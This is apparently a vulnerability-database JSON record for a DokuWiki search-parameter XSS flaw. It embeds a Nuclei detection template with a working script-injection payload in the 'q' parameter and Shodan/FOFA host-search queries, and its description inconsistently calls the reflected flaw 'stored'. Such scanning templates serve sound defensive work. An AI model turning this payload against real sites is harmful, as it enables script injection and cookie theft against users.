{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-61224/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-61224/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-61224/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-61224/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-61224/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-61224/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2025-61224"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2025-61224"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-61224.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2025-61224\n\ninfo:\n  name: DokuWiki <= 2025-05-14a Librarian - Reflected Cross-Site Scripting\n  author: lolkatz,0x_Akoko\n  severity: medium\n  description: |\n   DokuWiki 2025-05-14a 'Librarian' contains a stored XSS caused by improper sanitization of the 'q' parameter, letting remote attackers execute arbitrary scripts, exploit requires no special privileges.\n  impact: |\n   Remote attackers can execute arbitrary scripts in users' browsers, potentially stealing cookies or performing actions on behalf of users.\n  remediation: |\n   Update to the latest version of DokuWiki.\n  reference:\n    - https://github.com/dokuwiki/dokuwiki/issues/4512\n    - https://github.com/MarioTesoro/vulnerability-research/tree/main/CVE-2025-61224\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-61224\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2025-61224\n    epss-score: 0.01454\n    epss-percentile: 0.73544\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: dokuwiki\n    product: dokuwiki\n    shodan-query: http.html:\"content=\\\"DokuWiki\"\n    fofa-query: body=\"content=\\\"DokuWiki\"\n  tags: cve,cve2025,dokuwiki,xss,reflected\n\nhttp:\n  - method: GET\n    path:\n      - '{{BaseURL}}/doku.php?id=start&do=search&q=the%20%40%3Csvg%2Fonload%3Dalert%60document.domain%60%3E'\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'current changed\">@<svg/onload=alert'\n          - 'content=\"DokuWiki'\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"text/html\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a004630440220626549d963dfcb26cc09807463eae67fce6e078b0bc08d44050d4646ad16da680220296cbb3884da69c740eaaf080fb06fb83f0585cbb130fe3cfea28a8a2348f2d8:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-61224"}